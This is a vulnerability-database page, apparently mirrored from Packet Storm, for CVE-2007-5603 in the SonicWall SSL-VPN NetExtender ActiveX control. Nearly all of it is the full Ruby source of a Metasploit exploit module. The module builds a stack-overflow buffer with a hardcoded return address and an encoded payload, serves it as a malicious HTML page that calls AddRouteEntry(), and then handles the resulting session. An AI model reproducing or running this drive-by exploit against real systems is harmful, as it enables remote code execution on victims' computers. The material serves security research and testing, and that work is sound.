SonicWall SSL-VPN NetExtender ActiveX Control Buffer Overflow

🗓️ 26 Nov 2009 00:00:00Reported by MCType

packetstorm🔗 packetstormsecurity.com👁 29 Views

SonicWall SSL-VPN NetExtender ActiveX Control Buffer Overflow. Stack overflow in SonicWall SSL-VPN NetExtender allows arbitrary code execution

Reporter	Title	Published	Views	Family All 12
Circl	CVE-2007-5603	9 May 201000:00	–	circl
Check Point Advisories	SonicWall SSL-VPN NetExtender ActiveX Control Buffer Overflow (CVE-2007-5603)	15 Nov 201100:00	–	checkpoint_advisories
CVE	CVE-2007-5603	5 Nov 200718:00	–	cve
Cvelist	CVE-2007-5603	5 Nov 200718:00	–	cvelist
Exploit DB	SonicWALL SSL-VPN - NetExtender ActiveX Control Buffer Overflow (Metasploit)	9 May 201000:00	–	exploitdb
Metasploit	SonicWall SSL-VPN NetExtender ActiveX Control Buffer Overflow	1 Nov 200723:15	–	metasploit
NVD	CVE-2007-5603	5 Nov 200718:46	–	nvd
Prion	Stack overflow	5 Nov 200718:46	–	prion
Prion	Buffer overflow	5 Nov 200718:46	–	prion
SonicWall	SonicWALL SSL VPN Client Remote ActiveX Multiple Vulnerabilities	5 Nov 200718:46	–	sonicwall

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'SonicWall SSL-VPN NetExtender ActiveX Control Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in SonicWall SSL-VPN NetExtender.   
By sending an overly long string to the "AddRouteEntry()" method located   
in the NELaunchX.dll (1.0.0.26) Control, an attacker may be able to execute   
arbitrary code.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'MC' ],   
'Version' => '$Revision$',  
'References' =>   
[  
[ 'CVE', '2007-5603'],  
[ 'OSVDB', '39069'],  
[ 'URL', 'http://www.sec-consult.com/303.html' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 800,  
'BadChars' => "\x00\x09\x0a\x0d'\\",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'IE 6 / Windows XP SP2 Pro English', { 'Ret' => 0x7e497c7b } ], # 11/01/07  
],  
'DisclosureDate' => 'Nov 1 2007',  
'DefaultTarget' => 0))  
end  
  
def autofilter  
false  
end  
  
def check_dependencies  
use_zlib  
end  
  
def on_request_uri(cli, request)  
# Re-generate the payload  
return if ((p = regenerate_payload(cli)) == nil)  
  
# Randomize some things  
vname = rand_text_alpha(rand(100) + 1)  
strname = rand_text_alpha(rand(100) + 1)  
  
# Set the exploit buffer   
sploit = rand_text_english(36) + [target.ret].pack('V')   
sploit << p.encoded + rand_text_english(1024 - p.encoded.length)  
  
# Build out the message  
content = %Q|  
<html>  
<object classid='clsid:6EEFD7B1-B26C-440D-B55A-1EC677189F30' id='#{vname}'></object>  
<script language='javascript'>  
var #{vname} = document.getElementById('#{vname}');  
var #{strname} = new String('#{sploit}');  
#{vname}.AddRouteEntry(#{strname}, #{vname});  
</script>  
</html>  
|  
  
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")  
  
# Transmit the response to the client  
send_response_html(cli, content)  
  
# Handle the payload  
handler(cli)  
end  
  
end  
`

26 Nov 2009 00:00Current

0.7Low risk

Vulners AI Score0.7

EPSS0.70322